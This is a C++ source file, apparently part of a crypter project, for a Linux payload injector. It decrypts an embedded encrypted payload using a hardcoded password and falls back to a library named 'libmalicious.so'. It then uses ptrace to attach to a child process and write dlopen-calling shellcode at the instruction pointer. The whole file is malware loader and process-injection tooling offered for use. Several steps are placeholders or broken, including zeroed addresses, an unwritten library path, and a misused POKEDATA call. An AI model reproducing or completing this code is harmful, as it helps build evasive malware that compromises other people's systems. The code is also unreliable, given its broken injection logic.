AES-Encrypter-Rust/linux_injector.cpp

238 lines
8.1 KiB
C++

// Linux-only AES-decrypting payload injector
#include <iostream>
#include <vector>
#include <string>
#include <cstring>
#include <cstdint>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
// Include encrypted payload data
#include "payload_data.h"
#include "metadata_data.h"
// AES-CBC Decryption class for Linux
class AESDecryptor {
private:
std::vector<uint8_t> key;
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
if (!mdctx) return false;
if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
std::vector<uint8_t> hash(32);
if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
EVP_MD_CTX_free(mdctx);
// Use first 16 bytes for AES-128
key.assign(hash.begin(), hash.begin() + 16);
return true;
}
public:
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
const std::vector<uint8_t>& iv,
const std::vector<uint8_t>& salt,
const std::string& password) {
if (!deriveKey(password, salt)) {
return std::vector<uint8_t>();
}
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
if (!ctx) return std::vector<uint8_t>();
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding
std::vector<uint8_t> plaintext(ciphertext.size());
int len, plaintext_len = 0;
if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
plaintext_len = len;
if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
plaintext_len += len;
plaintext.resize(plaintext_len);
EVP_CIPHER_CTX_free(ctx);
// Remove PKCS7 padding manually
if (!plaintext.empty()) {
uint8_t padding_size = plaintext.back();
if (padding_size <= 16 && padding_size > 0) {
// Verify padding is correct
bool padding_valid = true;
for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) {
if (plaintext[i] != padding_size) {
padding_valid = false;
break;
}
}
if (padding_valid) {
plaintext.resize(plaintext.size() - padding_size);
}
}
}
return plaintext;
}
};
// Embedded encrypted payload (generated by crypt tool)
// Data is included via header files
int main(int argc, char* argv[]) {
// Decrypt the embedded payload
std::vector<uint8_t> ciphertext(encrypted_Input_bin, encrypted_Input_bin + sizeof(encrypted_Input_bin));
std::vector<uint8_t> metadata(decryption_metadata_bin, decryption_metadata_bin + sizeof(decryption_metadata_bin));
// Parse metadata: salt(32) + iv(16) + size(4)
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
if (ciphertext.size() != expected_size) {
return 1; // Decryption failed
}
// Decrypt using hardcoded password (change this!)
AESDecryptor decryptor;
std::string password = "YourSecureMasterPassword123!";
std::vector<uint8_t> decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password);
if (decrypted_so.empty()) {
std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl;
return 1; // Decryption failed - invalid password or corrupted data
}
std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl;
// Use decrypted data as shared library path
const char* soPath;
if (!decrypted_so.empty() && decrypted_so.back() == '\0') {
soPath = reinterpret_cast<const char*>(decrypted_so.data());
} else {
// Fallback to hardcoded path
soPath = "/usr/lib/libmalicious.so";
}
// Linux injection using ptrace and dlopen
pid_t target_pid;
std::cout << "Starting injection process..." << std::endl;
// For demonstration, we'll inject into a child process
// In real usage, you'd find a suitable target process
target_pid = fork();
if (target_pid < 0) {
std::cerr << "Fork failed" << std::endl;
return 1;
}
if (target_pid == 0) {
// Child process - target for injection
// Execute a simple program that we can inject into
execl("/bin/sleep", "sleep", "100", NULL);
return 1;
} else if (target_pid > 0) {
// Parent process - perform injection
std::cout << "Created child process with PID: " << target_pid << std::endl;
usleep(100000); // Wait for child to start
// Attach to target process
std::cout << "Attaching to process..." << std::endl;
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
std::cerr << "Ptrace attach failed: " << strerror(errno) << std::endl;
return 1;
}
// Wait for process to stop
int status;
waitpid(target_pid, &status, 0);
std::cout << "Process attached and stopped" << std::endl;
// Get registers
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
// Allocate memory in target process for library path
// This is a simplified implementation - real code would use process_vm_writev
void* remote_libpath = (void*)0x2000000; // Fixed address for demo
// Write library path to target memory (simplified)
size_t libpath_len = strlen(soPath) + 1;
// In real implementation: use process_vm_writev to write soPath to remote_libpath
// Inject dlopen call
// This is a simplified version - real implementation would need more sophisticated shellcode
unsigned char shellcode[] = {
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0xbf, // mov rdi,
// Address of library path would go here
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xbe, // mov rsi, RTLD_LAZY
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xb8, // mov rax, dlopen
// dlopen address would go here
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0xd0, // call rax
0x48, 0x31, 0xc0, // xor rax, rax
0xc3 // ret
};
// Write shellcode to target memory (simplified)
// In real implementation: use process_vm_writev to write shellcode to remote_shellcode
// Execute shellcode
ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)shellcode);
// Continue execution
ptrace(PTRACE_CONT, target_pid, NULL, NULL);
// Detach
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
// Wait for child
waitpid(target_pid, &status, 0);
}
return 0;
}